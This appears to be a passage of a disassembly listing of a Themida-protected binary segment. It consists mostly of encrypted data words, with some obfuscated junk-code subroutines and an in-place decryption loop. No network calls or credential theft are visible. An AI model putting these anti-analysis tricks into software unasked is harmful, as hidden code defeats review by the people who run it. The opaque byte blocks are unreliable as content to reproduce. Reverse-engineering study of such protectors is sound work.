23E98589h, 8D8907FAh, 7FA1CD9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 9DC35343h, 38B54071h, 29F6F9B4h dd 0FA1145BDh, 0AD85C707h, 7007FA31h, 2900006Dh, 0FA269985h dd 0D985C707h, 7FA2Bh, 0FF000000h, 0FA0E71B5h, 41958907h dd 907FA35h, 0FA202585h, 9995FF07h, 6A07FA17h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 509BC353h, 84EB8166h, 85895EA2h, 7FA1829h, 95FF006Ah dd 7FA1019h, 3FEBC08Bh, 7BA155EEh, 0C34E6944h, 0F788E767h dd 732C563Dh, 849C1622h, 73854E53h, 0BE3693A5h, 818559Fh dd 6FEDEACFh, 6478445Ch, 0C409E118h, 3BFBA081h, 0F4FC21FEh dd 0B34C82C4h, 1577A7BBh, 8D581967h, 2AB918Dh, 79BD8B08h dd 8907FA2Bh, 0FA1CD98Dh, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 29DE8730h dd 0DB93B838h, 9D8BDE13h, 7FA28F5h, 31AD85C7h, 5E0807FAh dd 0EE90000h, 0F3000000h, 0E784709Fh, 0B1CAF71Fh, 0E433BDF8h dd 8E9E7h, 3CD30000h, 276B84F4h, 85C72276h, 7FA2BD9h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_60DF3B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60DF3B proc near ; CODE XREF: Themida_:0060DF33p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_60DF3B endp ; --------------------------------------------------------------------------- db 56h dd 31F4D7CDh, 0DE7FB5B1h, 0B5FF63B7h, 7FA3391h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 34C35040h, 6B49077Fh dd 0E81B426Ah, 0Eh, 69EA73F4h, 0E21CF5E4h, 0F1E7164Fh dd 0E956E874h, 8, 38BD47E4h, 0F67A356Ch, 95FF5F5Bh, 7FA1799h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 94C35343h dd 0CEB2E370h, 6AC38205h, 1995FF00h, 8B07FA10h, 0A25AEBC0h dd 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 1916396Eh, 0ED4C0499h dd 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h, 161D8B3Eh dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 3AB0E4AEh, 31EE15CCh dd 964EF26Bh, 9A03FE6h, 57994A95h, 45F78052h, 93B99289h dd 0C690C5CAh, 64958B36h, 12E867h, 0B3CB0000h, 0B88D8008h dd 0A5833B8Eh, 6CA74A23h, 244D3C1Ah, 0DE9h, 245C4F00h dd 0EF591D74h, 6A80AFF9h, 315A5F09h, 0FA0CA58Dh, 93C28107h dd 0BF000072h, 0 ; --------------------------------------------------------------------------- mov [ebp+7FA2151h], ebx loc_60E072: ; CODE XREF: Themida_:0060E0F1j mov ecx, [edx+edi] mov si, ax sub ecx, 3A9A3010h jnp loc_60E09C jmp loc_60E09C ; --------------------------------------------------------------------------- db 8Bh, 1Dh, 16h dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 3AB0E4AEh ; --------------------------------------------------------------------------- loc_60E09C: ; CODE XREF: Themida_:0060E07Ej ; Themida_:0060E084j sub ecx, 60A5A6CFh or [ebp+7FA0E99h], edx sub ecx, 6BFCC482h push eax jnz loc_60E0B9 mov bx, 0C56Bh loc_60E0B9: ; CODE XREF: Themida_:0060E0AFj pop ebx mov [edx+edi], ecx mov esi, edi mov esi, [ebp+7FA0029h] sub edi, 4 sub ax, 5BF8h cmp edi, 0FFFF8E34h jnz loc_60E0EB mov bh, al jmp loc_60E101 ; --------------------------------------------------------------------------- dd 42570952h, 3C7E1A06h db 0F1h, 23h, 0B6h ; --------------------------------------------------------------------------- loc_60E0EB: ; CODE XREF: Themida_:0060E0D3j mov [ebp+7FA0651h], eax jmp loc_60E072 ; --------------------------------------------------------------------------- xor al, 0FCh sbb [edi+11DDA27Bh], edx imul edx, [edx], 64h loc_60E101: ; CODE XREF: Themida_:0060E0DBj lea ecx, [ebp+802AD89h] push 0 push esi call sub_60E112 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60E112 proc near ; CODE XREF: Themida_:0060E10Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_60E112 endp ; --------------------------------------------------------------------------- dw 587Eh dd 6C004A02h, 7D858BDDh, 8907FA0Dh, 0FA1CD98Dh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 142DB35Eh, 153D958Bh, 85C707FAh, 7FA31ADh, 5C34h, 20499D8Bh dd 85C707FAh, 7FA2BD9h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_60E17F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60E17F proc near ; CODE XREF: Themida_:0060E177p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_60E17F endp ; --------------------------------------------------------------------------- db 46h dd 56E3FB4h, 0C7D08162h, 0FC173615h, 2EA9B5FFh, 8F0F07FAh dd 3, 0FF5FD080h, 0FA179995h, 9E807h, 9ADA0000h, 0B6350049h dd 80B748CFh, 6A58C0E0h, 1995FF00h, 8B07FA10h, 0BA6EEBC0h dd 80A58E3Ah, 0E998EA40h, 1A6EFA14h, 0E74A6356h, 7CDC3DF5h dd 83433136h, 73D6BD6Dh, 5FA3324Ch, 4288EC8Bh, 3733B681h dd 51640F48h, 141D9115h, 2608290Eh, 671AD93Ch, 23A9A814h dd 961EA16Eh, 9DF891F6h, 0CD3A306h, 0C437CF6Bh, 80D20927h dd 0F3467477h, 0B1D146F2h, 6B1FABD5h, 344F7070h, 0C3C54FE7h dd 0FC431CA4h, 9991199Eh, 30E90Ch, 0A77B0000h, 4004h, 0Ah dup(0) dd 33E90000h, 0DD000005h, 822F6539h, 2BD80E90h, 0D17EB4EAh dd 7D2A603Eh, 0A0D40A94h, 910D04EBh, 3866AE5Bh, 0E3BB5502h dd 8B1300ADh, 122E8655h, 7E931AFh, 0A7B86FD5h, 42A7326Ch dd 199CFCFh, 26581C1h, 30FFE683h, 83086BD7h, 0D52EFFE6h dd 0D91822Fh, 0A8F61D82h, 718DCD1Dh, 0FFE6830Eh, 8835DB34h dd 3089148Ah, 0BA593DF7h, 0F01AEE4h, 64AC598Fh, 355FAF3Ah dd 39474104h, 3AE78DDEh, 0D439C4DAh, 73D8633Bh, 3276019Dh dd 0BD8F37F1h, 0B1ED287Dh, 0ECD08A0Bh, 95EA7A24h, 7628E77Bh dd 0CE59C2EBh, 14C1FFA5h, 0C4149FFFh, 72FDA16Fh, 329B030Dh dd 0D7B2188Ch, 5BE3FFE6h, 5900E06h, 0FBB536DCh, 74E3BCF4h dd 735A38h, 0A7EB0000h, 4DA2326Ch, 234CD7C7h, 59BEEA7Dh dd 1FFFE683h, 0BD22ADF1h, 70A54A54h, 3753A32Eh, 0FFE683D4h dd 0E425A902h, 0D344822Ah, 8EDA1219h, 1783874h, 9000000h dd 0A3336BA7h, 82E44763h, 0B912FFE6h, 0F71B8013h, 71B75680h dd 0CE0B8FAh, 0E6DA3DA0h, 0A10A63FFh, 405EB116h, 69235CB5h dd 0DB118D85h, 937DE52Eh, 0D46CA20Bh, 675A24AAh, 0ED93583Fh dd 346AA736h, 0E54864A4h, 0BFFE682h, 9A039B76h, 16FC61F4h dd 0B0E1FD88h, 9FFF12F6h, 4757BC69h, 0E0BE57BCh, 0F5AF3055h dd 7489A6EEh, 8B4438h, 0A7D50000h, 8519F86Ah, 8376D9F5h dd 439CFFE6h, 2BEA4FDAh, 83CD304Ch, 9AF3FFE6h, 0BF77A131h dd 0D6E00288h, 1C8519F8h, 3A8AE376h, 0CC722CE5h, 64AD914Bh dd 0BA57043Ah, 1EF66CA8h, 638C1780h, 50A6FFAh, 6CA90E99h dd 0CD42A732h, 0F92A46D1h, 0B132973Fh, 0D6A8F0F7h, 51463874h dd 0D7000000h, 0FD607CBCh, 23FFE682h, 9A7724CAh, 0CC9389F3h dd 72EC4C98h, 26ECDBA9h, 86117A02h, 24AFEF21h, 1E59FE0h dd 0A9FE8E10h, 4E8C326Ch, 336BA797h, 83167CA8h, 34E0FFE6h dd 967ADF6Ah, 30617D08h, 1F90CE76h, 8F265E65h, 1C43874h dd 55000000h, 0A5306EA7h, 3BCBD340h, 837CDFFBh, 51AAFFE6h dd 5FB318ABh, 0C34FB43Fh, 0CB0C50DBh, 6E976911h, 5945D0B4h dd 99C7C223h, 415DB409h, 89E7039Bh, 0B507E09Ah, 2C81D15Ch dd 6411B7E7h, 0CB9EFAFh, 0E00C9707h, 7E09A7Bh, 876B2566h dd 44DC128Ch, 0D57B23EFh, 9DA2EB28h, 6C46E0A7h, 56A6319Ah dd 6597FA16h, 64BD07E1h, 9C0211BEh, 0AC4F511h, 7BB1ED26h dd 6F7173ABh, 0D055A40h, 860AEB91h, 9B000001h, 0FD607CBCh dd 0EAFFE682h, 53D73394h, 0D66A7B8h, 0B6830667h, 0E6B1379Ah dd 9B045DFFh, 0E699EF0Bh, 6CC507E0h, 0F6977CE1h, 0CF56EA13h dd 84BA2383h, 207E97ECh, 19C66C95h, 0C919A4FAh, 4FC59D74h dd 329BC44Fh, 38D97EA7h, 13C066h, 0C6F7139Eh, 0B3EB280Ch dd 8975AD7Dh, 325C406Fh, 882A5CE7h, 3699B50Bh, 5C07E104h dd 13F49A03h, 57h, 0C69AF3A4h, 8DCCF636h, 152DD036h, 0E467DB81h dd 0D27FE70Dh, 9AC05768h, 0A13DAD0h, 86264D6Ah, 0A76C117Ah dd 0D7038EF7h, 7FE67F74h, 42CDD13Eh, 0DB6638DDh, 0BE662049h dd 7A49032Ch, 7FBB1E3Ah, 90E97FE6h, 5C0489EAh, 7F2DB0CCh dd 3A93FFE6h, 0BF1D04h, 0F3B60000h, 19858E96h, 0B8E6298Eh dd 3A56E64Fh, 7E09AD0h, 0D82DBD16h, 0ADD6613Dh, 40F7407h dd 77CC649Ah, 1277029Ch, 0ED16A1FDh, 0E231DE84h, 9D0531BCh dd 607E09Ah, 0D3BA59AEh, 35D1E1Ah, 63EE5748h, 4194F713h dd 69C207E1h, 0E7B75B00h, 0C8D335Ch, 0BDA56E52h, 95BE4955h dd 0F495F62Ch, 5AC0DC6Ch, 390FE3EFh, 4800050Fh, 276FC82Ch dd 1B017BBEh, 80C96FB8h, 0F74C9C27h, 2DDA801Eh, 0D328B8E6h dd 71D6613Dh, 4770FBA3h, 13A538DEh, 43CDA9D3h, 97FA4310h dd 1B98D81Dh, 0D177B523h, 8BFE9650h, 0D56184AEh, 46D7F2A4h dd 0DED177DAh, 0DB449D0Fh, 7FC92F4Bh, 60F517E1h, 5086EFAFh dd 0CA96F399h, 31B81E3Ah, 8DE607E9h, 28769D02h, 0D0CE45F2h dd 467B1945h, 96CF4FEFh, 0B1CD0DDCh, 3FEB3D4Eh, 0C8751B74h dd 701D534Bh, 0B70FBA3h, 0B50A9A04h, 22692F5Eh, 94D240ACh dd 0D177A02Bh, 623CD93Eh, 0C39F72D7h, 5CE7504Eh, 7F27E10Ah dd 0E6CA84ADh, 0CB2E4A2Dh, 0F93FEACBh, 540137A0h, 0B554DFBFh dd 8, 0AC67BC4Eh, 54B34CF2h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh dd 85108E84h, 0E0895052h, 405h, 4E88300h, 5C240487h, 83242489h dd 52042404h, 0C281E289h, 4, 4EA81h, 14870000h, 0C895C24h dd 0E0895024h, 405h, 42D00h, 4870000h, 14895C24h, 36BF5724h dd 890802AEh, 243C8BF9h, 5404C483h, 8324148Bh, 286804C4h dd 89000010h, 428F240Ch, 2434FF08h, 4C4815Ah, 0FF000000h dd 81592434h, 4C4h, 0CB8EE900h, 45B9FFF7h, 0ECB81DDBh dd 30802B2h, 0F7E0FFC5h, 0CE6A0495h, 70198170h, 0DD5AC193h dd 0E70C6854h, 1E562257h, 0DC69BA90h, 1750430Fh, 1718EC5Ah dd 0A82BA409h, 3239FEB6h, 27771803h, 5709EEA8h, 0A003B119h dd 0F1137F7Eh, 0DF72A2E8h, 0EB535FB3h, 10h, 3 dup(0) dd 0F8C08B00h, 0AADB58Bh, 0BD8307FAh, 7FA2ACDh, 83097500h dd 0FA1899BDh, 19740007h, 0C08B5350h, 42DB8h, 0C9858900h dd 8D07FA20h, 0FCE2249Dh, 5BD3FF07h, 99BD8358h, 7FA18h dd 53501774h, 42DB8h, 0C9858900h, 8D07FA20h, 0FCDF139Dh dd 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0EC6F7DD7h, 6697FBECh, 0B817EE81h dd 1D2D8D29h, 0B52907FAh, 7FA1061h, 6AC08Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0A06DECC3h dd 799533h, 0BF0F07FAh, 758D8BF1h, 0BE07FA10h, 11D55310h dd 0F00F983h, 0AA84h, 0BACE8000h, 6F1958Bh, 8B6407FAh dd 2C3Dh, 77C28100h, 0F1CD66Bh, 0FF0BD2B7h, 89840Fh, 95890000h dd 7FA2C8Dh, 6A3F8Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 5BB1BFC3h, 0A7C4B7F8h, 0E840BA36h dd 8, 0BA11CAD7h, 0F9119BE1h, 1D6DB533h, 0E95E07FAh, 12h dd 4473EEE7h, 27214A1h, 0D577E76Ch, 0DC266D1h, 0C032F7C1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 84C35545h dd 5E8AAF3h, 80000000h, 0D4936355h, 2E09B58Bh, 355E07FAh dd 53504149h, 12E8h, 61E14000h, 92111266h, 9B70DC91h, 0F6B8A5B6h dd 0E92FC5B3h, 12h, 7B308D88h, 0D6638265h, 0D529E5C9h dd 95EC6693h, 0C65A8D5Fh, 0FA066585h, 0F604707h, 0C8Ah dd 6E800h, 31880000h, 0B81E6BFDh, 6820F5Eh, 29000000h dd 0FA14559Dh, 0A4686107h, 509978C7h, 0FF28B52h, 82D2BA31h dd 585A32F6h, 88240481h, 0BE435DC0h, 62C0AFh, 2095B5FFh dd 8DF507FAh, 0FDA3DD85h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 81D62B1Ch dd 640B67E6h, 6AD0FF28h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0D367C352h, 2C818589h dd 11B607FAh, 1D818589h, 6A07FAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0B29ABDC3h, 0C66CC2FFh dd 0FA066585h, 85895307h, 7FA2AB5h, 3448FF68h, 81F38B54h dd 21FD2404h, 8B663464h, 95B5FFD7h, 8107FA20h, 0E5FCEBDAh dd 0DD858D20h, 6A07FDA3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0E6AC351h, 3A656327h dd 0DE9h, 0BA858F00h, 24283B3Dh, 5C7405F0h, 0B58B655Bh dd 7FA1C91h, 8950D0FFh, 0FA181D9Dh, 95895E07h, 7FA3405h dd 6A64858Dh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 2158B3C3h, 66BB2796h, 8589D78Bh dd 7FA1541h, 875B52Bh, 206A07FAh, 95FFFF6Ah, 7FA1541h dd 50414935h, 585C753h, 107FA2Ch, 0C7000000h, 0FA1C1585h dd 7, 0DE900h, 3FDD0000h, 29A97E51h, 54A47BC1h, 8B316BAEh dd 0FA274D95h, 91858B07h, 0F907FA0Eh, 0A364h, 958B0000h dd 7FA1611h, 3135BD83h, 0F0007FAh, 4C84h, 60E68100h, 8B667FD3h dd 0FA1BD5B5h, 21858B07h, 8907FA24h, 0FA18DD85h, 6AE08B07h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0AF13C352h, 0BBB19FBAh, 57AB30DDh, 1D498589h dd 895E07FAh, 0FA353DB5h, 85BD8307h, 7FA18h, 42E850Fh dd 0B70F0000h, 6585C6D1h, 5607FA06h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 7BC35242h, 8B6B9348h, 0FA2C59B5h dd 4E807h, 30DF0000h, 0F18AA9C5h, 66525050h, 0F187FBEh dd 5AD78B31h, 24448B58h, 0AEBE6604h, 51008B27h, 0CE960h dd 11AB0000h, 87E86AA9h, 0DC8D5C46h, 5E9112Ch, 20000000h dd 0F0B5082Eh, 44895E61h, 0BA660424h, 6A586FF9h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0FE39C351h, 483EBA97h, 0B5FF23C6h, 7FA2095h, 5E9h, 0F6C97900h dd 858DC112h, 7FDA3DDh, 0D0FFD08Ah, 896AB250h, 95892404h dd 7FA1801h, 30DD8D8Dh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 1621D8C3h, 605021D1h dd 48D0Fh, 0BF660000h, 8D0F4991h, 0Ah, 5E9h, 3034CA00h dd 89616938h, 0BD31240Ch, 7FA1C29h, 6A046Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 30AFE9C3h dd 68E59C6Dh, 0A5A3206Bh, 95240481h, 0FF5A5CEFh, 0FA14A9B5h dd 81958B07h, 8107FA16h, 178082F6h, 6AD0FF32h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 89BCC357h, 0FA10D58Dh, 118D2907h, 8B07FA15h, 0FA14A9BDh dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 66457A1Ah, 53CDF681h, 0BA3C7F03h, 7B5FAD19h dd 0F8C781h, 0BE90000h, 0B2000000h, 409D3A43h, 517F2E21h dd 47C7313Eh, 2024h, 0BD83F560h, 802B3B4h, 0AA840F00h dd 0F000001h, 185h, 0C783FC00h, 0D7BF0F28h, 6A2E07C7h dd 13E96469h, 0A9000000h, 5BAA12A9h, 333754FBh, 30AC0C66h dd 0FF32D0A0h, 14E81E42h, 12000000h, 0CC5CB780h, 0CD110717h dd 3E4F9AD8h, 24B89327h, 0B2A1F0C0h, 47C75E8Eh, 61746104h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0FB52EB7h, 682h, 91B58B00h, 8B07FA20h, 2B3BC85h dd 8F0F08h, 89000000h, 880F0C47h, 6, 5841F281h, 858B7A10h dd 802B3C0h, 1858960h, 0E807FA01h, 0Ah, 3CFCA92Bh, 159F7ECFh dd 81660FFFh, 5BCE08D8h, 13E861h, 16430000h, 494A65B3h dd 67AE5D0h, 70AB3802h, 9E2BA430h, 1958B8Eh, 5A07FA2Fh dd 6A084789h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 56CBC357h, 0D058509h, 835A07FAh dd 6A28C7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 579691C3h, 0B5039B49h, 7FA02C5h, 787BA66h dd 632E07C7h, 6A6E6Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0DAA05AC3h, 0FFDC86DEh, 6691A8CCh dd 36D7CA81h, 660447C7h, 66006769h, 8B5F87BAh, 2B3B885h dd 51006A08h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 7DFA9DC4h, 0CDDBD29h, 478907FAh, 0D68B660Ch dd 0B3B4858Bh, 0DE810802h, 70E5A3D7h, 31084789h, 0FA35158Dh dd 8D8D5807h, 7FA0B11h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0D7C35141h, 150DEEB9h, 3C195325h, 0F860Fh dd 0AE90000h, 78000000h, 473E6F9Fh, 0AAD27B67h, 0BE50919Bh dd 5FB44631h, 0FE9505Eh, 0CD000000h, 62FBF9E3h, 981F62B5h dd 0E5BA9D04h, 8091FD9Ch, 0B5FF0AE2h, 7FA30DDh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 22C35545h, 57CA11Ch dd 0F18B6618h, 0DBA5B768h, 240481D7h, 28246A49h, 22F58589h dd 0B5FF07FAh, 7FA14A9h, 0FFD38B66h, 0CA8166D0h, 0F78B4AD9h dd 0B8h, 0AE900h dd 86550000h, 0E4CF8259h, 7CB9B5C3h, 840FC00Bh, 58h, 100D9503h dd 0B5FF07FAh, 7FA0D6Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0C7C35040h, 0EEF1A1ABh, 0FF46B815h, 179995FFh dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8D89BEC3h, 7FA32B9h, 9D89C08Bh, 7FA0FD1h dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h dd 2DB8C08Bh, 89000004h, 0FA158185h, 8B9D8D07h, 0FF07FCE2h dd 83585BD3h, 0FA1899BDh, 17740007h, 2DB85350h, 89000004h dd 0FA158185h, 2C9D8D07h, 0FF07FCDFh, 6A585BD3h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 663BC355h, 6AD790BEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 5348C352h, 958B3772h dd 7FA1D25h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 1D1C5EC3h, 0ECCB7831h, 860FFDC8h dd 0Ch, 68E0Fh, 0CA810000h, 54071F64h, 8D8DC08Bh, 802BDA0h dd 0FD32BE66h, 1CD98D89h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 78FCAC3h, 0AD85C7D9h dd 0C807FA31h, 0F000072h, 682h, 0E19D8900h, 0C707FA0Ah dd 0FA2BD985h, 7, 0FFE2B700h, 0FA2EA9B5h, 14E907h, 7B2B0000h dd 0D7CB71D6h, 743C5372h, 0F6FC5B75h, 0AAC45CEFh, 95FFFF1Dh dd 7FA1799h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0C35545h, 2C459D89h, 6A07FAh, 101995FFh, 0C08B07FAh dd 0C7096EEBh, 248029B6h, 0BA0D85C8h, 2A4D92F5h, 8A47AB3Dh dd 0F99356CAh, 84235FCBh, 7B83D1E8h, 0DB8B2CCEh, 6DD392EBh dd 7146120Dh, 2D2B69DBh, 5497CCDCh, 0AFF823B3h, 63DB4349h dd 8FBC7BF9h, 346C0959h, 0FE295C82h, 49A9DE07h, 60021E75h dd 4F16274Bh, 7A3E587Ah, 0BBCD72A1h, 7F3250C9h, 9A895DB5h dd 0A52A0566h, 906A21E4h, 2941C635h, 5E8h, 85DA0100h, 8E0FEF07h dd 6, 1BC9958Bh, 0B95B07FAh, 3BD54CFBh, 5C4CC381h, 0B70F0000h dd 16F4BECFh, 958B0000h, 7FA177Dh, 810F038Bh, 6, 15E58D8Bh dd 0E88107FAh, 919D9C0h, 2EFD958Bh, 0C08107FAh, 0FD7E59Ch dd 1AEF8166h, 0EC08112h, 0B61B1B83h, 0E90389FFh, 5, 4DED302Fh dd 1EB83ABh, 7FDEB966h, 294B4B4Bh, 0FA23C58Dh, 1EE8107h dd 0F000000h, 0FFFFAB85h, 0E900EBFFh, 462h, 98CED046h dd 417727EBh, 0E71D8194h, 93C9D53Ah, 3D732BE6h, 0A66B5409h dd 0FF15C2F8h, 54BC699Fh, 0AC67144Ah, 95EDBCF2h, 0E9411679h dd 1FD63C07h, 0FD336BA7h, 0C9E52565h, 0FFE68366h, 64C7338Ch dd 92FFE683h, 2FE69339h, 838C396Fh, 0D938E51Bh, 31E035C5h dd 34BFDF31h, 0BEFCA20Bh, 689E0011h, 0F4559BBh, 0BDDFAE62h dd 0AB9400CFh, 9C497FE8h, 59F12777h, 71932E2Fh, 0FBA1FF4Dh dd 0E8D2E687h, 27187807h, 0E55F3FD2h, 0C35CB919h, 0C4711763h dd 5FC44F4Fh, 1363EEB0h, 5D54B7D3h, 298207E8h, 2603E3AFh dd 0F298E044h, 5522ED52h, 0E7D9D639h, 3AA3FC07h, 7AE6A304h dd 0E610CEEAh, 0B5DF0FE1h, 0AE05ECC2h, 9CEAF1AFh, 9654422Dh dd 128C882Dh, 3ACA236Ch, 304C2BE5h, 0FE24DCDh, 0A6319AF3h dd 1844D77Dh, 0FE24DB1h, 7F0A947Bh, 1DA8F61Ah, 0EDD18BC4h dd 0C3EC7727h, 0BA74F55Ah, 5288C1EBh, 0D63F82CBh, 44286030h dd 21C64870h, 57000001h, 0F6A867BCh, 0EF9C426Bh, 6AF17C22h dd 839FF612h, 54ADFFE6h, 7BA89AC4h, 593405EBh, 58BB20B3h dd 38781046h, 0E72DB91Ch, 0E98EE7FFh, 22CF7529h, 0DD1DADF1h dd 2D1E819Dh, 0EB44FFE7h, 0E72D1C7Fh, 61F14AFFh, 0E72CE245h dd 11B710FFh, 3C24657Eh, 102C6CACh, 0FFE72DADh, 0AB0E7AD3h dd 0D9FFE72Dh, 2642DA80h, 7E14268h, 57BAD656h, 7D07E141h dd 0CB30BB24h, 67CC5747h, 1365F0AEh, 0B68830EAh, 24EFD38Dh dd 6CAC447Ah, 0E140ED50h, 14BA1307h, 0FA8AD6B3h, 0DB6990DEh dd 19F98E0Fh, 2CD1FA85h, 32CB7E7h, 67AA0F9Ah, 0BD540137h dd 503D56E1h, 1E488818h, 0C8B5D772h, 6A34E0CDh, 0B4E75B01h dd 0A2FFE6C7h, 0D7B21349h, 75CAC34Dh, 4324B8C8h, 5B840F78h dd 4D3862F2h, 0ADFE9078h, 0F814AC52h, 7E0CFC6h, 0DCF5228Ch dd 70C71C38h, 0DE479BF6h, 0A731A1Fh, 0D3EF2F7Fh, 7E11370h dd 97FA1696h, 0BD07E113h, 0A855FB64h, 52FF3569h, 3B54DFBFh dd 627E0E52h, 7E11333h, 0F5A2D831h, 954C821Ch, 3ACA96F3h dd 41C3FE10h, 6B11FDBDh, 135393D3h, 0E6F794F7h, 0FD69C2FFh dd 0FFE6F79Ah, 55C96FC8h, 7E10D03h, 7977A0Fh, 65AE139Eh dd 2B6B0339h, 0E0E5AC0Fh, 0DB81DA07h, 94F9A302h, 0C42B8FCCh dd 8E07E0E5h, 4BE31985h, 0F7821CF6h, 987B28CEh, 0FD167B06h dd 67F2AC65h, 0E598FB17h, 65BE07E0h, 0A30893FCh, 3FA42F6Fh dd 0ED26CBD3h, 0A1E226B1h, 0B2E33FE7h, 9FFF14F8h, 0F1619969h dd 0F348406Eh, 0FBDC821Ch, 1Fh, 0CA96F38Ch, 6BA5FA3Ah dd 18868E33h, 9840FE72h, 0C51E07E0h, 603ED53Ah, 19432Ah dd 0A7DC0000h, 46AB3668h, 2B8EAACDh, 20FFE683h, 8B4E790Bh dd 459EDF29h, 0BCEFA6DCh, 0E602A392h, 29CFDE7Bh, 0D50B937Ch dd 196EAE06h, 0FD607CFBh, 23FFE6D6h, 0ADD661CAh, 8930B08h dd 66C539DFh, 94FFE6D7h, 0C84BB03Bh, 2CE64BD6h, 9182E772h dd 0FD3E820Dh, 89C99B43h, 7D21F449h, 0E6D7AE11h, 0D57BD4FFh dd 3C949A54h, 0EA7529E7h, 0A6F81CC1h, 0ED4C6800h, 0BCFFE6D6h dd 0D6FD607Ch, 0CA23FFE6h, 0F282DB24h, 0E8B65DB2h, 0D76BCE42h dd 204AFFE6h, 73E785A4h, 0D821C753h, 71B1497Fh, 0E74BF255h dd 21C720FFh, 0C9FF9F74h, 6737DC31h, 688640C1h, 18h, 326CA701h dd 0CDD142A7h, 6ABFFF97h, 298CF8A6h, 57FFE683h, 60BF58FEh dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E7895752h dd 49D4B850h, 0D0356B62h, 16B6249h, 0EF8358C7h, 243C8704h dd 13F5685Ch, 14890000h, 6EA46824h, 4890000h, 0DFBB5324h dd 8175900Eh, 0F44938CBh, 4EBC17Fh, 6FA0C381h, 0D3F74790h dd 7106CB81h, 0F381084Ah, 0B078C5F9h, 545BDA89h, 8324048Bh dd 0EC8304C4h, 24148904h, 8B08408Fh, 89562404h, 4C681E6h dd 81000000h, 4C6h, 24348700h, 24148B5Ch, 81E28952h, 4C2h dd 4C28100h, 87000000h, 0E95C2414h, 0FFF7BC00h, 5E0AD0E8h dd 0B738FEA0h, 49948C84h, 64B8D3CAh, 30802C2h, 93E0FFC5h dd 9A5DE0E7h, 28433A88h, 6D165DEFh, 0C46621DCh, 0A5798FA4h dd 9E7A58A0h, 0C075D696h, 0AA101493h, 210379D3h, 0F05616D6h dd 583E990Ch, 3448C151h, 0E4B9B75h, 9750C5Bh, 1B0259AAh dd 8B0671AFh, 786B3321h, 95458082h, 33694334h, 5C2F40EBh dd 686A36AEh, 0B9736DA5h, 3B604C8Dh, 0E9C68B66h, 9, 6A33FBD8h dd 0FC3BE15Ah, 13D181D6h, 0FC2194BFh, 7A4DB2B9h, 11E940h dd 